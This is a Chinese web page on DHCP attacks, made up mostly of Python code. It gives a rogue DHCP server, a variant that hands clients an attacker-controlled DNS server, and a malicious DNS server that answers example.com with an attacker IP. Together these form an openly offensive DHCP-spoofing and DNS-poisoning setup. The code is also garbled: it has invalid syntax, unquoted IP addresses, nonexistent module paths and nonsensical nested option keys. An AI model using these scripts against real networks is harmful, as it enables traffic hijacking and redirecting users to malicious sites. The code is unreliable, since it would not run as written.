网络安全中的DHCP攻击
站内热度 站内前 16%
4.4万 次浏览
import dnspython.dns as dns
import socket
import random
class RogueDHCPServer:
def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
self.interface = interface
self.range_start = range_start
self.range_end = range_end
def start(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind((self.interface, 67))
while True:
packet, addr = self.sock.recvfrom(1024)
if packet:
dhcp_packet = dns.dns packet.DHCP(packet)
if dhcp_packet.options['message type'] == 1:
# DHCPDISCOVER
dhcp_packet.options['message type'] = 2
dhcp_packet.options['server identifier'] = (self.interface, 67)
dhcp_packet.options['ip address lease time'] = 3600
dhcp_packet.options['subnet mask'] = (255.255.255.0,)
dhcp_packet.options['router'] = (self.range_start,)
dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)
self.sock.sendto(dhcp_packet.to_wire(), addr)
elif dhcp_packet.options['message type'] == 3:
# DHCPREQUEST
if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
dhcp_packet.options['message type'] = 5
dhcp_packet.options['ip address lease time'] = 3600
dhcp_packet.options['server identifier'] = (self.interface, 67)
self.sock.sendto(dhcp_packet.to_wire(), addr)
if __name__ == '__main__':
rogue_dhcp = RogueDHCPServer()
rogue_dhcp.start()
Next, let's move on to DNS poisoning. We will modify the DHCP response to redirect clients to a malicious DNS server, which will return the IP addresses of malicious websites.
Here's an updated Python script for the rogue DHCP server:
import dnspython.dns as dns
import socket
import random
class MaliciousDHCPServer:
def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
self.interface = interface
self.range_start = range_start
self.range_end = range_end
def start(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind((self.interface, 67))
while True:
packet, addr = self.sock.recvfrom(1024)
if packet:
dhcp_packet = dns.dns packet.DHCP(packet)
if dhcp_packet.options['message type'] == 1:
# DHCPDISCOVER
dhcp_packet.options['message type'] = 2
dhcp_packet.options['server identifier'] = (self.interface, 67)
dhcp_packet.options['ip address lease time'] = 3600
dhcp_packet.options['subnet mask'] = (255.255.255.0,)
dhcp_packet.options['router'] = (self.range_start,)
dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)
# Redirect to a malicious DNS server
dhcp_packet.options['domain name server'] = ('192.168.1.100',)
self.sock.sendto(dhcp_packet.to_wire(), addr)
elif dhcp_packet.options['message type'] == 3:
# DHCPREQUEST
if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
dhcp_packet.options['message type'] = 5
dhcp_packet.options['ip address lease time'] = 3600
dhcp_packet.options['server identifier'] = (self.interface, 67)
# Redirect to a malicious DNS server
dhcp_packet.options['domain name server'] = ('192.168.1.100',)
self.sock.sendto(dhcp_packet.to_wire(), addr)
if __name__ == '__main__':
rogue_dhcp = MaliciousDHCPServer()
rogue_dhcp.start()
Now, let's create a malicious DNS server that will respond with IP addresses of malicious websites.
Here's a Python script for a malicious DNS server using the dnspython library:
import dnspython.dns as dns
import socket
class MaliciousDNS:
def __init__(self, interface='eth0', ip_addr='192.168.1.100'):
self.interface = interface
self.ip_addr = ip_addr
def start(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind((self.interface, 53))
while True:
packet, addr = self.sock.recvfrom(1024)
if packet:
dns_packet = dns.dns packet.Packet(packet)
if dns_packet.qd:
if dns_packet.qd[0].name == 'example.com':
# Respond with a malicious IP address
response = dns.dns.message.make_response(dns_packet)
response.answer.append(dns.dns.rrset.from_text('example.com', 3600, dns.dns.rdataclass.IN, dns.dns.rdatatype.A, ['192.168.1.101']))
self.sock.sendto(response.to_wire(), addr)
if __name__ == '__main__':
malicious_dns = MaliciousDNS()
malicious_dns.start() 相关文档
评论与补充0
有问题或想补充的,写在下面 · 选中正文文字再点「报告错误」会自动引用还没有评论。有疑问、补充,或者发现错字,都可以写在下面。
